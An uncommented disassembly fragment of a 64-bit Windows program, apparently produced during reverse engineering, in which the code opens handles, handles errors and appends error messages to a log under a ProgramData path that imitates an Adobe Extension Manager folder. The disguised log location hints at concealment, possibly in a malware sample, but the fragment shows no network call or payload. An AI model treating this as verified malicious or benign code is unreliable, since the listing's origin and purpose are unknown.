lea rdx, [rsp + 0x178]
lea r8, [rsp + 0xf0]
mov r9d, 0x7d0
mov ecx, 1
call fcn.1400283a0
test byte [rsp + 0xf0], 1
je 0x14002db85
mov rcx, qword [rsp + 0x100]
call fcn.140073240
mov rcx, rsi
call fcn.140257dd0
test byte [rsp + 0x130], 1
je 0x14002dba4
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0x188], 1
je 0x14002dbbb
mov rcx, qword [rsp + 0x198]
call fcn.140073240
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__aligned_free]
test rdi, rdi
je 0x14002dbd2
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__aligned_free]
mov rcx, r13
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [rbp + 0x2c00]
mov qword [rax + 0x40], 0
mov rcx, r12
call fcn.140257dd0
xor eax, eax
movaps xmm6, xmmword [rbp + 0x2b60]
lea rsp, [rbp + 0x2b78]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, ebx
mov rcx, qword [r14 + 8]
mov rcx, qword [rcx]
mov rcx, qword [rcx + rdx*8]
mov rdx, qword [rbp + 0x2c20]
mov qword [rdx], rcx
mov r13, r14
movzx ebx, byte [rbp + 0x2be0]
mov r14d, dword [rsp + 0xac]
mov r15, rax
jmp 0x14002c6ad
mov ecx, ebx
mov rax, qword [rdx]
mov rax, qword [rax + rcx*8]
mov rcx, qword [rbp + 0x2c20]
mov qword [rcx], rax
mov r13, r15
mov rcx, qword [r15]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r12, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r15d, eax
cmp r12, 0xffffffffffffffff
movzx ebx, byte [rbp + 0x2be0]
mov r14d, dword [rsp + 0xac]
movzx esi, byte [rbp + 0x2be8]
jne 0x14002c6ad
mov eax, r15d
and eax, 0xfffffffe
cmp eax, 0x20
jne 0x14002dd66
cmp sil, 1
jg 0x14002dd0a
movsxd rax, r14d
mov rcx, qword [0x1402da358]
shl rax, 3
lea rsi, [rax + rax*2]
movzx edi, bl
mov rax, qword [rcx + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.1400741a0
mov rax, qword [0x1402da310]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, qword [rax + rsi]
mov rdx, r13
call fcn.14001e180
mov rax, qword [0x1402da358]
jmp 0x14002dd54
cmp sil, 2
jne 0x14002dd66
movsxd rax, r14d
mov rcx, qword [0x1402da370]
shl rax, 3
lea rsi, [rax + rax*2]
movzx edi, bl
mov rax, qword [rcx + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.1400741a0
mov rax, qword [0x1402da328]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, qword [rax + rsi]
mov rdx, r13
call fcn.14001e180
mov rax, qword [0x1402da370]
mov rax, qword [rax + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.1400741d0
jmp 0x14002dbf2
cmp sil, 3
jg 0x14002dd88
lea ecx, [r15 - 0x22]
xor eax, eax
cmp ecx, 0xfffffffd
ja 0x14002dbf4
cmp byte [0x14029c040], 0
jne 0x14002dbf4
mov rdi, qword [r13]
lea rsi, [rsp + 0x390]
mov rcx, rsi
mov edx, r15d
call fcn.140076dc0
lea r8, str._error:
mov rcx, rsi
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x980], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x970], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x970], 1
je 0x14002dde9
mov rbx, qword [rsp + 0x980]
jmp 0x14002ddf1
lea rbx, [rsp + 0x972]
mov qword [rsp + 0x200], 0
xor esi, esi
test rdi, rdi
je 0x14002dea0
test rbx, rbx
je 0x14002dea0
movabs r13, 0x100000000
mov rcx, rdi
call sub.msvcrt.dll_wcslen
mov r15, rax
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r14, rax
mov r12d, r15d
add r12d, r14d
shl r12, 0x20
add r12, r13
sar r12, 0x1f
nop word cs:[rax + rax]
mov rcx, r12
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002de50
mov rsi, rax
mov qword [rsp + 0x200], rax
movsxd r15, r15d
lea r8, [r15 + r15]
mov rcx, rax
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsi + r15*2]
shl r14, 0x20
add r14, r13
sar r14, 0x1f
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x208], 0
movzx ebx, byte [0x1402da388]
mov ecx, ebx
and cl, 1
je 0x14002deb7
mov rbx, qword [0x1402da390]
jmp 0x14002deba
shr rbx, 1
lea rdi, [rbx + 0x36]
movabs rax, 0x7fffffffffffffef
cmp rdi, rax
ja 0x14002e061
cmp rdi, 0xa
ja 0x14002defd
xorps xmm0, xmm0
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
add dil, dil
mov byte [rsp + 0x110], dil
xor eax, eax
jmp 0x14002df3f
mov r14, rdi
or r14, 7
inc r14
js 0x14002e073
lea rcx, [r14 + r14]
call fcn.1400731c0
or r14, 1
mov qword [rsp + 0x110], r14
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x118], rdi
movzx ecx, byte [0x1402da388]
and cl, 1
mov edi, r14d
test dil, 1
lea rdi, [rsp + 0x112]
cmovne rdi, rax
test cl, cl
je 0x14002df5c
mov rdx, qword [0x1402da398]
jmp 0x14002df63
lea rdx, [0x1402da38a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str.ProgramDataAdobeExtension_Manager_CCLogs_fails.txt]
movups xmmword [rdi + rbx*2], xmm0
movups xmm0, xmmword [0x14025d97c]
movups xmmword [rdi + rbx*2 + 0x10], xmm0
movups xmm0, xmmword [0x14025d98c]
movups xmmword [rdi + rbx*2 + 0x20], xmm0
movups xmm0, xmmword [0x14025d99c]
movups xmmword [rdi + rbx*2 + 0x30], xmm0
movups xmm0, xmmword [0x14025d9ac]
movups xmmword [rdi + rbx*2 + 0x40], xmm0
movups xmm0, xmmword [0x14025d9bc]
movups xmmword [rdi + rbx*2 + 0x50], xmm0
movups xmm0, xmmword [0x14025d9c8]
movups xmmword [rdi + rbx*2 + 0x5c], xmm0
mov word [rdi + rbx*2 + 0x6c], 0
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x200]
lea r8, [rsp + 0x110]
mov r9d, 0x7d0
mov ecx, 1
call fcn.1400283a0
test byte [rsp + 0x110], 1
je 0x14002e005
mov rcx, qword [rsp + 0x120]
call fcn.140073240
mov rcx, rsi
call fcn.140257dd0
test byte [rsp + 0x970], 1
je 0x14002e024
mov rcx, qword [rsp + 0x980]
call fcn.140073240
test byte [rsp + 0x390], 1
je 0x14002dbf2
mov rcx, qword [rsp + 0x3a0]
call fcn.140073240
jmp 0x14002dbf2
mov rax, qword [rbp + 0x2c00]
mov r8d, dword [rax + 0x38]
jmp 0x14002d724
lea rcx, [rsp + 0xf0]
call fcn.140002b00
lea rcx, [rsp + 0x110]
call fcn.140002b00
call fcn.140002ba0
call fcn.140002ba0
mov rdi, rax
test byte [rsp + 0x110], 1
je 0x14002e0bd
mov rcx, qword [rsp + 0x120]
call fcn.140073240
jmp 0x14002e0bd
mov rcx, rsi
call fcn.140257dd0
test byte [rsp + 0x970], 1
je 0x14002e0dc
mov rcx, qword [rsp + 0x980]
call fcn.140073240
test byte [rsp + 0x390], 1
je 0x14002e129
mov rcx, qword [rsp + 0x3a0]
jmp 0x14002e124
call fcn.140073240
mov rcx, rdi
call fcn.14009d370
int3